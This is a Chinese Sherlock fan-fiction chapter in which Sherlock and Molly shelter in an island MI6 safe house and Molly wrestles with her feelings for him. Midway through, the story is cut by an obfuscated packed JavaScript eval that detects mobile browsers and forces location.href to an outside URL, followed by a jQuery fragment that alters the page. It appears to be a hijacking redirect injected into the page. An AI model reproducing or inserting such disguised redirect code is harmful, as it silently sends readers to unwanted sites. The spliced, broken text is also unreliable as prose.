大西洋上一座不知名的小岛,怪石嶙峋的坡地上稀稀拉拉地长着些爱尔兰珍珠草,如果在夏天景色或许还看得过去,可惜现在是12月,隔几天就会下一场冷冷的雨,让人只想缩在炉火旁,哪里也不去。这里没有原住民,也没有心血来潮的游客,因为这是MI6的一处安全屋,一个被从世界地图上抹去的坐标,只有直升飞机可以到达,距离伦敦两小时航程。
三天前,麦考夫的人把夏洛克、茉莉和一个礼拜的物资一起丢在岛上。
此时,茉莉从书架上为数不多的书里随意抽出一本,但她的目光并没有落在那些泛黄的书页上。她的视线穿过房间,落在那个陷在老式丝绒沙发里的男人身上。
夏洛克·福尔摩斯。
他双腿交叠搭在沙发扶手上,双手合十抵着下巴,浅绿色眼睛紧闭着。从旧金山一路逃亡至此,他的黑色大衣上多了几道划痕,袖口沾着污渍,看起来有些狼狈。但他周身散发出的气场,却仿佛他正坐在221B那张舒适的扶手椅上,而不是身处一个被严密监视的避难所。
茉莉漫不经心地翻了一页,纸张带来陈旧的灰尘味。在确认她们不会坐牢之后,茉莉紧绷了一路的神经稍稍松弛下来,但随之而来的,是一种更复杂的、沉甸甸的情绪。
她看着他,思绪不由自主地飘回了一年前。
那是一个同样阴冷的冬夜,圣巴茨医院的停尸房里,她刚完成一例复杂的毒理分析。夏洛克突然闯了进来,风衣上还带着雨水的湿气。他没有寒暄,没有问候,径直走到她面前,用那种不容置疑的口吻说:“我需要你帮我做一件事。现在。”
“夏洛克,我现在是下班时间,而且……”
“茉莉。”他打断她,那双锐利的眼睛直直地看着她,“这很重要。一个连环杀手,他的作案手法涉及一种罕见的神经毒素。你的专业知识,是唯一能帮我抓住他的关键。”
他看着她,眼神里没有请求,只有陈述。仿佛她的时间、她的疲惫、她作为一个人的需求,在他宏大的推理世界里,都只是可以随时调用的数据点。
她最终还是去了。不是因为他的请求,而是因为他那句“很重要”。她无法拒绝一个能抓住连环杀手的机会。
那天晚上,他们一起工作到凌晨。当他最终锁定嫌疑人时,他兴奋地像个孩子,在实验室里来回踱步,语速快得惊人。他成功了,他又一次证明了他是世界上最伟大的侦探。
而她,只是站在一旁,默默地看着他。她为他感到高兴,也为自己能帮上忙而感到一丝欣慰。但当她鼓起勇气,想和他分享这份喜悦时,他只是匆匆地拍了拍她的肩膀,说了一句“干得不错,茉莉”,便头也不回地冲了出去,去追赶他的猎物。
那一刻,她站在空荡荡的实验室里,感觉自己就像一个用过的工具,在完成使命后,被随意地丢在了一旁。
“你的手在抖。”
夏洛克的声音突然响起,将茉莉从回忆中拉了回来。
她猛地一颤,发现夏洛克不知何时已经睁开了眼睛,正看着她。他的目光落在她按在书页的手上。
茉莉下意识地想把手藏起来,但随即又放弃了这个念头。“有点冷。”她轻声说,试图用一个简单的理由搪塞过去。
夏洛克没有说话。他坐起身,像一只优雅的猎豹。他环顾四周,确认没什么可用的东西后,脱下自己身上那件早就烘干的黑色大衣,随手扔到了茉莉的腿上。
“穿上。”他命令道,语气依旧是不容置疑的。
茉莉愣住了。大衣上还残留着他的体温,那股熟悉的、令人安心的气息瞬间将她包裹。她想起第一次进入“灰雪”网络前,自己执意穿着夏洛克的风衣,因为被包裹在他的气息里会让她有安全感。
在每一个危险的时刻。
可惜,一到了平凡的日子,她们的距离又会变得遥远。
她只是在他的保护领域内,却走不进他的心里。
一股交织着安慰与酸涩的暖流慢慢爬过她的心底。她假装整理腿上的风衣,遮住湿润的眼眶。
夏洛克习惯了她的安静,没发现她的异常。
等茉莉整理好自己的情绪,抬头看见夏洛克只穿了件薄薄的衬衫。在阴冷的房间里,他不可能不觉得冷。
“那你呢?”她问。
“我不冷。”他简短地回答,重新靠回沙发,闭上了眼睛,仿佛刚才的举动只是一时兴起,“我的新陈代谢速率比常人快15%,体表温度调节能力也更优。这件大衣对我而言,更多是一种心理上的安慰,而不是生理上的必需。但对你来说,它的作用会更大。”
茉莉刚刚压下去的情绪又复涌了上来。
他总是这样。他会关心你,会用他自己的方式保护你,但他的关心,永远是基于“逻辑”和“效率”的。他给你大衣,不是因为心疼你冷,而是因为他“计算”出你需要它。他的世界里,没有“心疼”这个词,只有“最优解”。
在恒生科技的服务器机房里,她彻底恢复了自己的记忆。
当时因为逃亡而无暇顾及,后来因为担心坐牢而惴惴不安。现在尘埃落定,那些旧日的画面和情绪反复翻涌。
让她一阵又一阵酸楚。
“你在想什么?”夏洛克的声音再次传来,他依旧闭着眼,但茉莉知道,他没有睡着。他的思维宫殿正在以惊人的速度运转,处理着旧金山发生的一切。
“没什么。”茉莉摇了摇头,将脸埋进他的大衣里,深吸了一口气,“只是在想……我们什么时候能回去。”
“麦考夫不会让我们轻易回去。”夏洛克说,“这件事和美国军方有关。”
“你怎么确定?”茉莉问,试图将话题引向案件,让自己不再去想那些令人沮丧的情绪。
“那两架诺斯罗普·格鲁门,是战略侦察机,只有军方才能用。恒生科技不是普通企业,它有军方的背景。”
不知道为什么,茉莉竟然有种靴子落地的感觉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552784|204376||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果然夏洛克能招惹的,都不是一般人。她站起身看着窗外,觉得自己这些感动或心酸或许都太渺小了。
夏洛克也走到窗前,和茉莉并肩而立,看着窗外被雨水模糊的荒凉岛景。
“茉莉,”他忽然叫她的名字,声音低沉,“你还记得在旧金山,你对我说过什么吗?”
茉莉愣了一下,“什么?”
“在隧道里。”夏洛克提示道。
那时候天上地上都被夹击,茉莉只觉得从来没这么危险过,已经近乎绝望,她说:“无论你去哪里,我都会跟你一起。”
“不,是之后。”夏洛克转过头,那双浅绿色的眼睛里,倒映着她的身影,“你说,‘夏洛克,有时候,我也希望你能慢下来,等等我’。”
茉莉的心跳漏了一拍。她记得那句话,她们在隧道里等了6个小时,但那时候夏洛克为了案件已经三天没有休息了,她只是想让他睡一会才这么说的。
“我一直在想这句话。”夏洛克继续说,他的目光前所未有的认真,“我习惯了用我的速度去思考,去行动。因为慢下来,就意味着落后和失败。但在那个数据中心,我有一种和你失联的感觉,我感到了……恐惧。”
他顿了顿,似乎在组织语言。
“不是对我自己的恐惧,而是对你。我害怕我的速度,会把你甩下,会让你受到伤害。这种感觉非常陌生,并且令人不悦。”
茉莉静静地看着他,她能理解,毕竟这是个视情感为生理缺陷的男人。
“所以,”他最终说道,声音里带着一丝不易察觉的恳求,“下次,如果我跑得太快……你可以拉住我。”
茉莉愣住了。
窗外的雨声似乎小了一些。房间里,昏黄的灯光将两人的影子拉长,交叠在一起。
她没有说话,只是伸出手,轻轻地覆盖在他放在窗台的手上。他的手很凉,但她的掌心却很温暖。
夏洛克没有抽回手。他看着两人交叠的手,那双总是充满洞察力的眼睛里,此刻却是一片平静的温柔。
这种感觉好像不错,他的大脑竟然安静了许多。
“麦考夫大概会在二十分钟后,通过那个伪装成烟雾报警器的摄像头,分析出我们此刻的‘非理性行为’,并为此写一份长达十页的报告。”他低声说,语气里带着一丝嘲讽,或许还有点无奈。
“那就让他写吧。”茉莉微笑着捏了捏他的手又放开,“反正,我们也不是第一次让他头疼了。”
“嗯。”夏洛克应了一声,目光依旧停留在她身上,那双浅绿色的眼睛里,闪过一丝不易察觉的困惑。
他感觉到茉莉的开心里还混合了一些负面情绪,但无法理解那是什么。她们在旧金山大获全胜,现在在全世界最安全的地方,麦考夫会处理后续的一切。甚至有自己在她身边,茉莉还多了一重保险。
到底是什么呢?
夏洛克无法解析。他只知道,茉莉的手离开后,他好像烦躁了一点。